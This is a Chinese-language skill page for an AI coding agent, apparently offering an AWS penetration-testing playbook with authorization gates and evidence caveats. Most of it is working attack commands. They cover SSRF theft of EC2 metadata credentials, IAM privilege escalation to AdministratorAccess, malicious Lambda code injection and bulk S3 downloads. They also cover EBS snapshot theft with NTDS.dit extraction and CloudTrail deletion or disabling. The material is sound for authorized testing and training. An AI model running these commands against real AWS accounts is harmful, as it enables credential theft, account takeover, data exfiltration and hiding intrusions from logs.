关于 aws-penetration-testing
用于经授权的 AWS 安全评估和受控学习环境的技能,涵盖身份、存储、计算及日志检查,并要求确认授权范围,强调测试过程中的证据与变更控制。
主要功能
- 01AWS 身份与权限检查
- 02S3、Lambda 和 EC2 评估
- 03权限提升路径分析
- 04强制确认授权范围
- 05证据与变更保护
适用场景
- 01在获批评估中检查 AWS 权限
- 02测试一次性 AWS 实验环境
- 03记录限定范围内的云安全发现
- 04与安全负责人验证监控
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill aws-penetration-testing安装后在 Claude Code 中输入/aws-penetration-testing确认已加载。
附带文件references/advanced-aws-pentesting.md
详细介绍
⚠️ 仅限授权用途 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须先获得系统所有者明确的书面许可。 滥用此工具属于违法行为,严禁滥用。
强制确认关卡 在运行任何会探测、利用、修改目标、在目标上建立持久化、从目标提取数据或尝试访问目标凭据的命令之前:
- 请用户说明确切的目标 URL、IP、账户或资源。
- 请用户确认已获得书面授权并说明许可范围。
- 展示确切的命令,并解释其预期影响。
- 等待用户在当前对话中明确确认。
未获得此类确认时,只能进行只读操作,并仅提供防御性指导。优先使用沙盒、一次性 VM 或受控实验室。
仅限授权用途:此技能仅可用于经授权的安全评估、防御性验证或受控教育环境。
AWS 渗透测试
目的
提供对 AWS 云环境进行渗透测试的综合技术。涵盖 IAM 枚举、权限提升、通过 SSRF 访问元数据端点、S3 存储桶利用、Lambda 代码提取,以及红队行动中的持久化技术。
输入/前提条件
- 已配置凭据的 AWS CLI
- 有效的 AWS 凭据(即使权限较低)
- 了解 AWS IAM 模型
- Python 3、boto3 库
- 工具:Pacu、Prowler、ScoutSuite、SkyArk
输出/交付成果
- IAM 权限提升路径
- 提取的凭据和机密
- 已攻陷的 EC2/Lambda/S3 资源
- 持久化机制
- 安全审计发现
必备工具
| 工具 | 用途 | 安装 |
|---|---|---|
| Pacu | AWS 利用框架 | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | 发现影子管理员 | Import-Module .\SkyArk.ps1 |
| Prowler | 安全审计 | pip install prowler |
| ScoutSuite | 多云审计 | pip install scoutsuite |
| enumerate-iam | 权限枚举 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
核心工作流
步骤 1:初始枚举
识别已攻陷的身份及其权限:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
步骤 2:IAM 枚举
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
# Resolve DefaultVersionId from get-policy; v1 may not be the effective version.
aws iam get-policy-version --policy-arn POLICY_ARN --version-id DEFAULT_VERSION_ID
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
步骤 3:元数据 SSRF(EC2)
利用 SSRF 访问元数据端点(IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
对于 IMDSv2(需要令牌):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate 容器凭据:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
权限提升技术
影子管理员权限
只有在允许的资源、条件和有效策略允许形成权限提升链时,这些权限才可能实现权限提升。它们本身并不等同于管理员权限:
| 权限 | 利用方式 |
|---|---|
iam:CreateAccessKey | 为管理员用户创建密钥 |
iam:CreateLoginProfile | 为任意用户设置密码 |
iam:AttachUserPolicy | 为自身附加管理员策略 |
iam:PutUserPolicy | 添加内联管理员策略 |
iam:AddUserToGroup | 将自身添加到管理员组 |
iam:PassRole + ec2:RunInstances | 使用管理员角色启动 EC2 |
lambda:UpdateFunctionCode | 向 Lambda 注入代码 |
为其他用户创建访问密钥
aws iam create-access-key --user-name target_user
附加管理员策略
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
添加内联管理员策略
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda 权限提升
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 存储桶利用
存储桶发现
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
存储桶枚举
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
搜索公开存储桶
https://buckets.grayhatwarfare.com/
Lambda 利用
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM 命令执行
Systems Manager 允许在 EC2 实例上执行命令:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 利用
挂载 EBS 卷
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
卷影副本攻击(Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
从 API 密钥访问控制台
将 CLI 凭据转换为控制台访问权限:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
一次性实验室中的日志控制验证
保留审计证据
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
不要更改用户代理或禁用日志记录来规避检测。仅凭用户代理无法判断 GuardDuty 是否会触发警报;请与监控负责人一起验证检测效果。上述命令是针对另行批准的临时实验环境的破坏性配置示例,并非清理步骤。
快速参考
| 任务 | 命令 |
|---|---|
| 获取身份 | aws sts get-caller-identity |
| 列出用户 | aws iam list-users |
| 列出角色 | aws iam list-roles |
| 列出存储桶 | aws s3 ls |
| 列出 EC2 | aws ec2 describe-instances |
| 列出 Lambda | aws lambda list-functions |
| 获取元数据 | curl http://169.254.169.254/latest/meta-data/ |
限制
必须:
- 测试前取得书面授权
- 记录所有操作,以供审计追踪
- 仅测试范围内的资源
不得:
- 未经批准修改生产数据
- 留下未记录的持久化后门
- 永久禁用安全控制
应该:
- 尝试元数据攻击前检查是否使用 IMDSv2
- 利用漏洞前进行全面枚举
- 任务结束后清理测试资源
示例
示例 1:SSRF 到管理员权限
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
故障排除
| 问题 | 解决方案 |
|---|---|
| 所有命令均显示 Access Denied | 使用 enumerate-iam 枚举权限 |
| 元数据端点被阻止 | 检查是否使用 IMDSv2,尝试容器元数据 |
| GuardDuty 警报 | 与监控负责人协调预期的测试警报并保留证据 |
| 凭证已过期 | 从元数据重新获取(临时凭证会轮换) |
| CloudTrail 记录操作 | 保留日志,并与监控负责人一起审查测试事件 |
其他资源
如需了解 Lambda/API Gateway 利用、Secrets Manager 和 KMS、容器安全(ECS/EKS/ECR)、RDS/DynamoDB 利用、VPC 横向移动及安全检查清单等高级技术,请参阅 references/advanced-aws-pentesting.md。
适用场景
此技能适用于执行概述中描述的工作流或操作。
有效访问权限与证据限制
清单命令不能证明漏洞可利用。请考虑显式拒绝、SCP/RCP、权限边界、会话策略、资源策略、条件和服务前置要求。只有在 Lambda 代码实际运行时,更新代码才会使用其执行角色;iam:PassRole 需要兼容的受信任服务和可用角色。IMDSv2 要求 SSRF 原语支持 token PUT 和必需的标头;本地 curl 示例不能证明可远程绕过。角色名称(如 AdminRole)并不能证明其权限级别。
使用具名的短期配置文件或经批准的凭证提供程序。不要将密钥作为命令行参数传递、在 Shell 历史记录中保留真实密钥、默认导出所有存储桶/表数据,或将构件上传到其他账户。优先使用资源所有者创建的金丝雀对象,并限制列表范围。创建快照/卷、调用函数、推送镜像、创建凭证和更改策略都会产生费用并影响状态;请记录确切资源和经批准的回滚方案。仅挂载临时副本,并采取特定于文件系统的只读/禁止恢复措施。始终保留 CloudTrail 和证据。工具名称和 CLI 片段仅供参考,并非经过测试的互操作工具链;未进行任何评估。